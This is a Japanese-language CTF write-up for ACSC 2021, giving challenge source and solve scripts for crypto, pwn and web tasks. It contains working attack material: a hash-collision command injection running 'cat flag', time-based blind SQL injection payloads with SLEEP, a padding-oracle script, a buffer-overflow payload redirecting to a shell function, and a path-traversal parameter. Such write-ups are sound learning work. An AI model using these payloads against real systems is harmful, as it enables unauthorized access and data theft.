ACSC 2021 Writeup
Sun Sep 19 2021
9/18-19 で開催していた ACSC に参加しました。個人戦なので当然ソロ参加です。結果は 18th/483 (得点のあるチームのみカウント) でした。 Crypto が1問解けなかったのと、 Web のそこそこ解かれている問題が解けなかったのが結構悔しいです… 以下、解けた問題についての writeup です。
Crypto
Wonderful Hash
11 solves
chall.pyimport os import string from Crypto.Cipher import AES, ARC4, DES BLOCK = 16 def bxor(a, b): res = [c1 ^ c2 for (c1, c2) in zip(a, b)] return bytes(res) def block_hash(data): data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size) data = ARC4.new(data).encrypt(b"\x00" * DES.key_size) data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size) return data[:-2] def hash(data): length = len(data) if length % BLOCK != 0: pad_len = BLOCK - length % BLOCK data += bytes([pad_len] * pad_len) length += pad_len block_cnt = length // BLOCK blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)] res = b"\x00" * BLOCK for block in blocks: res = bxor(res, block_hash(block)) return res def check(cmd, new_cmd): if len(cmd) != len(new_cmd): return False if hash(cmd) != hash(new_cmd): return False for c in new_cmd: if chr(c) not in string.printable: return False return True cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in " b"our days, some of them have excelent tasks, but in most cases " b"they're forgotten just after the CTF finished. We decided to make" b" some kind of CTF archive and of course, it'll be too boring to " b"have just an archive, so we made a place, where you can get some " b"another CTF-related info - current overall Capture The Flag team " b"rating, per-team statistics etc'") def menu(): print("[S]tore command") print("[E]xecute command") print("[F]iles") print("[L]eave") return input("> ") while True: choice = menu() if choice[0] == "S": new_cmd = input().encode() if check(cmd, new_cmd): cmd = new_cmd else: print("Oops!") exit(1) elif choice[0] == "E": os.system(cmd) elif choice[0] == "F": os.system(b"ls") elif choice[0] == "L": break else: print("Command Unsupported") exit(1)
AES, ARC4, DES を使った自前ハッシュ関数の問題です。事前に用意されている cmd と同じハッシュかつ同じ文字列長のコマンドを実行することができます。 ./flag というファイルがあるので cat flag 等を実行できればよさそうです。 ハッシュは16bytesのブロックごとに 16->6bytes の変換がされ、各ブロックで xor を取っています。 cmd の文字列長を考慮すると27ブロックとなります。
最初のブロックを cat flag;#AAAAAA とすれば以降の文字が何であれフラグを表示できます。このブロックを BLOCK とすると、 BLOCK||BLOCK||...||BLOCK と偶数個くっつけるとその部分のハッシュは0になります。 そのため、 cmd の奇数個 (3以上) のブロックのハッシュと衝突する16文字を見つけることができれば (DUMMY とする)、 BLOCK||...||BLOCK||DUMMY||cmdのDUMMY計算に使われない部分 とすればハッシュが cmd と一致します。なのでそのような16文字を見つけにいきます。
いい方法が思いつかなかったので力技でやりました…
d_inv = {} while True: tmp = "".join([random.choice(string.printable) for _ in range(16)]).encode() d_inv[block_hash(tmp)] = tmp
このようなコードでハッシュ→文字列のマップを作ります。他の問題解きながら集めていたら 35747199 個集まっていました…えぐい
from itertools import combinations blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)] hashes = [block_hash(block) for block in blocks] for r in range(3, 27, 2): print(r) for i_list in combinations(range(len(blocks)-1), r=r): res = b"\x00" * 16 for i in i_list: res = bxor(res, hashes[i]) tmp = d_inv.get(res, None) if tmp is not None: print(tmp, res, i_list, r)
これで cmd の一部のハッシュと一致する文字を探します。1つだけ見つかりました。 cmd のブロックの (0, 3, 6, 16, 17, 20, 22, 23, 25) 番目のハッシュと b'h[=<JB^dl&v`(~W\' のハッシュが衝突するようです。 以上の情報をもとに新しい cmd を作ります。
use = b'h[=<JB^dl&v`(~W\\' idx_list = (0, 3, 6, 16, 17, 20, 22, 23, 25) payload_blocks = blocks.copy() payload_cmd = b"cat flag;#" payload_cmd += b"A" * (16 - len(payload_cmd)) for i in idx_list[:-1]: payload_blocks[i] = payload_cmd payload_blocks[idx_list[-1]] = use payload = b"".join(payload_blocks) payload[:-15]
cat flag;#AAAAAAa lot of Capture The Flag (CTF) cat flag;#AAAAAAour days, some of them have excecat flag;#AAAAAAin most cases they're forgotten just after the CTF finished. We decided to make some kind of CTF archive and of course, it'll be too boring to hcat flag;#AAAAAAcat flag;#AAAAAAa place, where you can get some cat flag;#AAAAAAted info - currecat flag;#AAAAAAcat flag;#AAAAAA rating, per-teah[=<JB^dl&v`(~W\'
これを実行させることでフラグが表示されました。
ACSC{M1Tm_i5_FunNY_But_Painfu1}
Secret Saver
12 solves
<?php include "config.php"; $msg = $_POST['msg'] ?? ""; $name = $_POST['name'] ?? ""; if ( strlen($name) < 4 || strlen($msg) < 8 ) highlight_file(__FILE__) && exit(); $data = array( "name" => $name, "msg" => $msg, "flag" => "ACSC{" . $KEY . "}" // try to get this flag! ); $iv = openssl_random_pseudo_bytes(16); $data = gzcompress(json_encode($data)); $data = openssl_encrypt($data, 'aes-256-ctr', $KEY, OPENSSL_RAW_DATA, $iv); $data = bin2hex( $iv . $data ); $conn = new mysqli($HOST, $USER, $PASS, $NAME); $sql = sprintf("insert into msgs (msg, name) values('%s', '%s')", $data, $name); if (!$conn->query($sql)) die($conn->error); echo $conn->insert_id; $conn->close();
入力したデータとフラグの文字列の json について、 gzcompress のあと AES の CTR モードで暗号化したものを DB に突っ込んでいます。
CTR モードなので平文と暗号文は同じ文字列になります。 gzcompress は同じ文字列が繰り返されていると圧縮率が高まるため name や msg に ACTF{X を入れたときに X がフラグの1文字目と一致しているときだけ暗号化後の data が短くなることが期待されます。なので SQLi で DB 内の data の長さをリークさせることができればフラグを復元できそうです。
SQLi は '||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(10),0)||' のようなクエリを投げることで行いました。この例でいうと、 id_ = $conn->insert_id の長さが174のときだけ10秒 sleep が入ります。
solve.py# 長さのリーク flag = "AAAACSC{" res = requests.post(url, data={"msg": flag*2, "name": flag*2}) id_ = res.text for i in range(160, 300): print(i) now = time.perf_counter() res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))={i},SLEEP(10),0)||'"}) duration = time.perf_counter() - now if duration >= 10: print("found!", i) break # 文字列を決めていく flag = "AAAACSC{" for idx in range(32): for i in range(32, 128): c = chr(i) if c in "\\'": continue print(c) res = requests.post(url, data={"msg": (flag+c)*2, "name": (flag+c)*2}) id_ = int(res.text) now = time.perf_counter() res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(2),0)||'"}) duration = time.perf_counter() - now if duration >= 2: print("found!", c) flag += c print(flag) break else: raise RuntimeError
ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}
途中で暗号文の長さが変わったり、フラグの文字列が32文字だと思いこんでいたりでめちゃくちゃ手こずってしまった…
Two Rabin
20 solves
chal.pyimport random from Crypto.Util.number import * from Crypto.Util.Padding import pad from flag import flag p = getStrongPrime(512) q = getStrongPrime(512) n = p * q B = getStrongPrime(512) m = flag[0:len(flag)//2] print("flag1_len =",len(m)) m1 = bytes_to_long(m) m2 = bytes_to_long(pad(m,128)) assert m1 < n assert m2 < n c1 = (m1*(m1+B)) % n c2 = (m2*(m2+B)) % n print("n =",n) print("B =",B) print("c1 =",c1) print("c2 =",c2) # Harder! m = flag[len(flag)//2:] print("flag2_len =",len(m)) m1 = bytes_to_long(m) m1 <<= ( (128-len(m))*8 ) m1 += random.SystemRandom().getrandbits( (128-len(m))*8 ) m2 = bytes_to_long(m) m2 <<= ( (128-len(m))*8 ) m2 += random.SystemRandom().getrandbits( (128-len(m))*8 ) assert m1 < n assert m2 < n c1 = (m1*(m1+B)) % n c2 = (m2*(m2+B)) % n print("hard_c1 =",c1) print("hard_c2 =",c2)
前半 m の文字列長がわかっているので、 pad の結果も既知です。 m2 == m1 * 256**(128 - 98) + int("1e" * 30, 16) が成り立ちます。これで連立方程式が解けます。
a = 256 ** (128 - 98) d = int("1e" * 30, 16) m1 = (c2 - a^2*c1 - d^2 - B*d) * pow(2*a*d + B*a - a^2*B, -1, n)
ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4
後半
128bytes の m1 と m2 は下位32bytes だけ異なっています。Franklin-Reiter releated message attack が使えそうです。https://inaz2.hatenablog.com/entry/2016/01/20/022936 を参考にさせていただきました。
from Crypto.Util.number import long_to_bytes PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x*(x+B) - hard_c1 g2 = (x+y)*(x+y+B) - hard_c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() roots = h.small_roots(epsilon=0.014) diff = 1637558660573652475698054766420163959191730746581158985657024969935597275 diff = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824 PRx.<x> = PolynomialRing(Zmod(n)) for diff in roots: g1 = x*(x+B) - hard_c1 g2 = (x+diff)*(x+diff+B) - hard_c2 long_to_bytes(-gcd(g1, g2)[0])
a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}
ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}
Swap on Curve
34 solves
task.sagefrom params import p, a, b, flag, y x = int.from_bytes(flag, "big") assert 0 < x < p assert 0 < y < p assert x != y EC = EllipticCurve(GF(p), [a, b]) assert EC(x,y) assert EC(y,x) print("p = {}".format(p)) print("a = {}".format(a)) print("b = {}".format(b))
楕円曲線 が与えられています。 がどちらも曲線上に乗っているときの がフラグとなっています。
を変形して、 とします。これに を代入することで についての9次式になります。これを解きます。
(前 twitter で joseph さんに教えてもらった Ideal([...]).variety() を使う方法は、 NotImplementedError: Factorization of multivariate polynomials over prime fields with characteristic > 2^29 is not implemented. というエラーで刺さりませんでした…)
solve.sagefrom Crypto.Util.number import long_to_bytes p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507 a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278 b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096 EC = EllipticCurve(GF(p), [a, b]) PR.<y> = PolynomialRing(Zmod(p)) x2 = y^3 + a*y + b f = (x2)^3 + 2*a*(x2)^2 + a^2*(x2) - (y^2 - b)^2 for root in f.roots(): long_to_bytes(root[0])
ACSC{have_you_already_read_the_swap<-->swap?}
CBCBC
35 solves
chal.py#!/usr/bin/env python3 import base64 import json import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from secret import hidden_username, flag key = os.urandom(16) print(key) iv1 = os.urandom(16) print(iv1) iv2 = os.urandom(16) print(iv2) def encrypt(msg): aes1 = AES.new(key, AES.MODE_CBC, iv1) aes2 = AES.new(key, AES.MODE_CBC, iv2) enc = aes2.encrypt(aes1.encrypt(pad(msg, 16))) return iv1 + iv2 + enc def decrypt(msg): iv1, iv2, enc = msg[:16], msg[16:32], msg[32:] aes1 = AES.new(key, AES.MODE_CBC, iv1) aes2 = AES.new(key, AES.MODE_CBC, iv2) msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16) return msg def create_user(): username = input("Your username: ") if username: data = {"username": username, "is_admin": False} else: # Default token data = {"username": hidden_username, "is_admin": True} token = encrypt(json.dumps(data).encode()) print("Your token: ") print(base64.b64encode(token).decode()) def login(): username = input("Your username: ") token = input("Your token: ").encode() try: data_raw = decrypt(base64.b64decode(token)) except: print("Failed to login! Check your token again") return None try: data = json.loads(data_raw.decode()) except: print("Failed to login! Your token is malformed") return None if "username" not in data or data["username"] != username: print("Failed to login! Check your username again") return None return data def none_menu(): print("1. Create user") print("2. Log in") print("3. Exit") try: inp = int(input("> ")) except ValueError: print("Wrong choice!") return None if inp == 1: create_user() return None elif inp == 2: return login() elif inp == 3: exit(0) else: print("Wrong choice!") return None def user_menu(user): print("1. Show flag") print("2. Log out") print("3. Exit") try: inp = int(input("> ")) except ValueError: print("Wrong choice!") return None if inp == 1: if "is_admin" in user and user["is_admin"]: print(flag) else: print("No.") return user elif inp == 2: return None elif inp == 3: exit(0) else: print("Wrong choice!") return None def main(): user = None print("Welcome to CBCBC flag sharing service!") print("You can get the flag free!") print("This is super-duper safe from padding oracle attacks,") print("because it's using CBC twice!") print("=====================================================") while True: if user: user = user_menu(user) else: user = none_menu() if __name__ == "__main__": main()
AES CBC モードを2回行っています。 AES を2つ縦に書いてみるとすぐわかりますが、いつもの padding oracle attack が1ブロックではなく2ブロック分ずれているだけです。
solve.pyfrom base64 import b64decode, b64encode from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from pwn import remote # io = remote("localhost", 1337) io = remote("cbcbc.chal.acsc.asia", 52171) io.sendlineafter("> ", b"1") io.sendlineafter("username: ", b"") io.recvline() admin_token = b64decode(io.recvline().strip()) iv1 = admin_token[:16] iv2 = admin_token[16:32] admin_token = admin_token[32:] saved_admin_token = admin_token saved_iv2 = iv2 saved_iv1 = iv1 def try_decrypt(msg): io.sendlineafter("> ", b"2") io.sendlineafter("username: ", b"hoge") io.sendlineafter("token: ", b64encode(msg)) ret = io.recvline().strip().decode() if "Check your token" in ret: return False else: return True admin_token = saved_admin_token dec = b"" idx = 15 for idx in range(16)[::-1]: print(idx) for i in range(256): if idx == 15 and i == 0: continue tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:] if try_decrypt(iv1 + iv2 + tmp_admin_token): dec = long_to_bytes((16 - idx) ^ i) + dec tmp = tmp_admin_token[:idx] for j in range(idx, 16): tmp += long_to_bytes(tmp_admin_token[j] ^ (16 - idx) ^ (16 - idx + 1)) tmp += tmp_admin_token[16:] admin_token = tmp print(dec) break else: raise ValueError admin_token = saved_admin_token[:-16] iv2 = saved_iv2 idx = 15 for idx in range(16)[::-1]: print(idx) for i in range(256): tmp_iv2 = iv2[:idx] + long_to_bytes(iv2[idx] ^ i) + iv2[idx+1:] # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:] if try_decrypt(iv1 + tmp_iv2 + admin_token): dec = long_to_bytes((16 - idx) ^ i) + dec tmp = tmp_iv2[:idx] for j in range(idx, 16): tmp += long_to_bytes(tmp_iv2[j] ^ (16 - idx) ^ (16 - idx + 1)) tmp += tmp_iv2[16:] iv2 = tmp print(dec) break else: raise ValueError admin_token = saved_admin_token[:-32] iv1 = saved_iv1 idx = 15 for idx in range(16)[::-1]: print(idx) for i in range(256): tmp_iv1 = iv1[:idx] + long_to_bytes(iv1[idx] ^ i) + iv1[idx+1:] # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:] if try_decrypt(tmp_iv1 + iv2 + admin_token): dec = long_to_bytes((16 - idx) ^ i) + dec tmp = tmp_iv1[:idx] for j in range(idx, 16): tmp += long_to_bytes(tmp_iv1[j] ^ (16 - idx) ^ (16 - idx + 1)) tmp += tmp_iv1[16:] iv1 = tmp print(dec) break else: raise ValueError
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
RSA stream
121 solves
chal.pyimport gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse from Crypto.Util.Padding import pad from flag import m #m = b"ACSC{<REDACTED>}" # flag! f = open("chal.py","rb").read() # I'll encrypt myself! print("len:",len(f)) p = getStrongPrime(1024) q = getStrongPrime(1024) n = p * q e = 0x10001 print("n =",n) print("e =",e) print("# flag length:",len(m)) m = pad(m, 255) m = bytes_to_long(m) assert m < n stream = pow(m,e,n) cipher = b"" for a in range(0,len(f),256): q = f[a:a+256] if len(q) < 256:q = pad(q, 256) q = bytes_to_long(q) c = stream ^ q cipher += long_to_bytes(c,256) e = gmpy2.next_prime(e) stream = pow(m,e,n) open("chal.enc","wb").write(cipher)
同一の を異なる で暗号化しているので gcd をとることで が復元できます。
solve.sagefrom Crypto.Util.number import long_to_bytes, bytes_to_long n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453 e0 = 65537 e1 = 65539 with open("./distfiles/chal.py", "rb") as fp: f = fp.read() with open("./distfiles/chal.enc", "rb") as fp: cipher = fp.read() q0 = f[0: 256] q0 = bytes_to_long(q0) c0 = bytes_to_long(cipher[0: 256]) stream0 = q0 ^^ c0 q1 = f[256: 512] q1 = bytes_to_long(q1) c1 = bytes_to_long(cipher[256: 512]) stream1 = q1 ^^ c1 PR.<x> = PolynomialRing(Zmod(n)) f0 = x ** e0 - stream0 f1 = x ** e1 - stream1 if f0.degree() < f1.degree(): f0, f1 = f1, f0 while f1 != 0: f0, f1 = f1, f0 % f1 m = int(-f0[0] * f0[1].inverse_of_unit()) long_to_bytes(m)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}
Pwn
histogram
38 solves
histogram.c#include <stdio.h> #include <stdlib.h> #include <math.h> #include <limits.h> #define WEIGHT_MAX 600 // kg #define HEIGHT_MAX 300 // cm #define WEIGHT_STRIDE 10 #define HEIGHT_STRIDE 10 #define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE) #define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE) int map[WSIZE][HSIZE] = {0}; int wsum[WSIZE] = {0}; int hsum[HSIZE] = {0}; /* Fatal error */ void fatal(const char *msg) { printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg); exit(1); } /* Call this function to get the flag! */ void win(void) { char flag[0x100]; FILE *fp = fopen("flag.txt", "r"); int n = fread(flag, 1, sizeof(flag), fp); printf("%s", flag); exit(0); } int read_data(FILE *fp) { /* Read data */ double weight, height; int n = fscanf(fp, "%lf,%lf", &weight, &height); if (n == -1) return 1; /* End of data */ else if (n != 2) fatal("Invalid input"); /* Validate input */ if (weight < 1.0 || weight >= WEIGHT_MAX) fatal("Invalid weight"); if (height < 1.0 || height >= HEIGHT_MAX) fatal("Invalid height"); /* Store to map */ short i, j; i = (short)ceil(weight / WEIGHT_STRIDE) - 1; j = (short)ceil(height / HEIGHT_STRIDE) - 1; map[i][j]++; wsum[i]++; hsum[j]++; return 0; } /* Print an array in JSON format */ void json_print_array(int *arr, short n) { putchar('['); for (short i = 0; i < n; i++) { printf("%d", arr[i]); if (i != n-1) putchar(','); } putchar(']'); } int main(int argc, char **argv) { if (argc < 2) fatal("No input file"); /* Open CSV */ FILE *fp = fopen(argv[1], "r"); if (fp == NULL) fatal("Cannot open the file"); /* Read data from the file */ int n = 0; while (read_data(fp) == 0) if (++n > SHRT_MAX) fatal("Too many input"); /* Show result */ printf("{\"status\":\"success\",\"result\":{\"wsum\":"); json_print_array(wsum, WSIZE); printf(",\"hsum\":"); json_print_array(hsum, HSIZE); printf(",\"map\":["); for (short i = 0; i < WSIZE; i++) { json_print_array(map[i], HSIZE); if (i != WSIZE-1) putchar(','); } printf("]}}"); fclose(fp); return 0; }
コードを見ても、脆弱性なくない…?となって百年が経過しました。その割に結構解かれていたので %lf に狙いを絞っていろいろ試したところ、 nan,nan を入力したときにセグフォで落ちるのが確認されました。 nan と不等号の判定は false になるんですね…
gdb で動作を追ってみると、 got の scanf のアドレスの値が変わっていて (1足されて) 落ちていました。 nan,nan を nan,10 にすると書き込む場所が1ずれました。 scanf の16bytes 先に fclose があったので、nan,25 といれることで fclose の値を1足すことができます。 fclose はまだ一度も呼ばれていないので plt を指しているのですが、これを520回インクリメントすることで win 関数へ向けることができます。 なので csv として nan,25 と520行かかれたものを用意して POST するとフラグが json の後ろに付け足されて返ってきます。
ACSC{NaN_demo_iiyo}
filtered
168 solves
filtered.c#include <stdlib.h> #include <string.h> #include <unistd.h> /* Call this function! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); exit(0); } /* Print `msg` */ void print(const char *msg) { write(1, msg, strlen(msg)); } /* Print `msg` and read `size` bytes into `buf` */ void readline(const char *msg, char *buf, size_t size) { char c; print(msg); for (size_t i = 0; i < size; i++) { if (read(0, &c, 1) <= 0) { print("I/O Error\n"); exit(1); } else if (c == '\n') { buf[i] = '\0'; break; } else { buf[i] = c; } } } /* Print `msg` and read an integer value */ int readint(const char *msg) { char buf[0x10]; readline(msg, buf, 0x10); return atoi(buf); } /* Entry point! */ int main() { int length; char buf[0x100]; /* Read and check length */ length = readint("Size: "); if (length > 0x100) { print("Buffer overflow detected!\n"); exit(1); } /* Read data */ readline("Data: ", buf, length); print("Bye!\n"); return 0; }
size = -1 を入れると length > 0x100 を無視でき、 readline 内部では size_t として扱われるので 0xffffffff bytes 書き込めます。 BOF で return address を win 関数に変えます。
solve.pyfrom pwn import * io = remote("filtered.chal.acsc.asia", 9001) io.sendlineafter("Size: ", "-1") io.sendlineafter("Data: ", b"A" * 0x118 + p64(0x4011d6)) io.interactive()
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
Web
API
107 solves
functions.phpfunction challenge($obj){ if ($obj->is_login()) { $admin = new Admin(); if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied'); $cmd = $_REQUEST['c2']; if ($cmd) { switch($cmd){ case "gu": echo json_encode($admin->export_users()); break; case "gd": echo json_encode($admin->export_db($_REQUEST['db'])); break; case "gp": echo json_encode($admin->get_pass()); break; case "cf": echo json_encode($admin->compare_flag($_REQUEST['flag'])); break; } } } }
このあたりを上手く使うことで flag を読むことができそうです。 一見 $admin->is_admin() でないと redirect されてその先に進めなそうですが、return されていないので無視できます。
solve.pyimport requests url = "https://api.chal.acsc.asia" res = requests.post(url + "/api.php", params={"id": ["Aaaabbbb"], "pw": "Bbbbbbbbb", "id": "Aaaabbbb", "c": "i", "c2": "gd", "pas": ":<vNk", "db": "../../../../../../flag"}, allow_redirects=False) print(res.text)
/lib/db/passcode.db や /lib/db/user.db が見れたのでそこから頑張って admin になる方向性でずっとやっていたので時間がかかってしまった… passcode も api から入手できるし今思えば非想定挙動っぽい?
ACSC{it_is_hard_to_name_a_flag..isn't_it?}